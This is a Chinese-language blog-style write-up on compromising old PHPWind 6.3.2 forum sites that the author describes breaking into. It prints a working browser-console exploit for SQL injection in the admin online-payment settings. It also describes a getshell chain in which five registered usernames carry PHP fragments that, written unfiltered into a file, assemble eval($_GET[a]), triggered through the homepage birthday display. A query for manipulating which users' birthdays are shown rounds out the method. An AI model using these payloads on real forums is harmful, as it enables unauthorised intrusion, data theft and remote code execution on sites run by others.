起因 && TIPS
如果后台开启了首页生日显示,那么就可以前台getshell
因为日到了某些远古站用的是6.3.2,幸苦拿下了后台,但是没办法getshell。本来想直接备份走人的,但是似乎当前的权限不够备份数据
然后旁站和子域名and其他信息搜集了一堆打不下来。
虽说后台注入很多,比如修复表啊
然而这里是的语句没办法注入,但是在 扩展功能 -> 网上支付 那里,可以有一个select和insert类型的注入。
以下是某x子大佬写的注入的exp
payload=prompt("payload?","' and extractvalue(1,concat(0x7e,( ),0x7e)) #")
payload=encodeURIComponent(payload)
fetch("https://********/后台地址.php?adminjob=userpay&verify=******&", {
"headers": {
"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
"cache-control": "no-cache",
"content-type": "application/x-www-form-urlencoded",
"pragma": "no-cache",
"sec-fetch-dest": "iframe",
"sec-fetch-mode": "navigate",
"sec-fetch-site": "same-origin",
"sec-fetch-user": "?1",
"upgrade-insecure-requests": "1"
},
"referrer": "https://******/后台地址.php?adminjob=userpay",
"referrerPolicy": "strict-origin-when-cross-origin",
"body": "action=currrate&userpay%5Bol_onlinepay%5D=0&userpay%5Bol_whycolse%5D=1&userpay%5Bol_tenpay%5D=adawcft&userpay%5Bol_a" + payload + "%5D=&userpay%5Bol_payto%5D=&userpay%5Bol_paypal%5D=&userpay%5Bol_paypalcode%5D=luqH6DDbionEDFHTEnwtMpqiyZMlLspNWQimPEgH&userpay%5Bol_99bill%5D=&userpay%5Bol_99billcode%5D=",
"method": "POST",
"mode": "cors",
"credentials": "include"
}).then(d=>d.text()).then(c=>{document.querySelector('body').innerHTML="";document.write(c);});
用法是直接在后台f12然后在括号中输入sql语句就行
扫了一波sql权限很低然后密码字段bcrtpy加密了解不开
原本想着insert一个管理者权限的管理员,或者找一个update类型的诸如点,把管理员的密码改成我们当前打下来的这个用户的密码,然后看了下代码,tmd管理者权限是硬编码到php里的。就只好想办法用其他方式了。
分析
首先定位漏洞点
发现一个写道php的操作,然后跟进
发现写文件操作并没有过滤!
那我们二话不说注册一个账户,用户名为';phpinfo();//
绕过成功。
然后我正想着,直接用eval走上去的时候,一看
没办法,最后只能注册多个用户写出payload了。
payload如下
';$a="_GET";'
';$b=$$a;'
';$c=$b[a];'
';$x=$c;'
';eval($x);'
总结
所以如果6.3.2默认开启首页显示生日用户的话,就可以用这个方法,注册5个用户,用户名为上图,然后生日设置成明天,然后12点一过就可以上去梭哈了。
然而这也有局限性,你得保证当天用户生日数量不大于195,因为代码中默认显示200个,所以超过200会挤掉。而我们新注册的id很靠后,所以绝对是会被挤掉的。所以你只能祈祷了。
如果你是管理员就好办了。自己添加几个用户然后开启这个功能,瞬间就能打了。当然,你也会遇到大于200问题,不过这时候好办,你可以用上面的诸如点,用如下语句SELECT email FROM pw_members WHERE MONTH(bday)='月份' AND DAYOFMONTH(bday)='日期'
来查找当天过生日的id比较靠前的用户,然后直接用后台系统管理功能,修改的用户名为我们payload,然后再开启首页生日显示。就ok了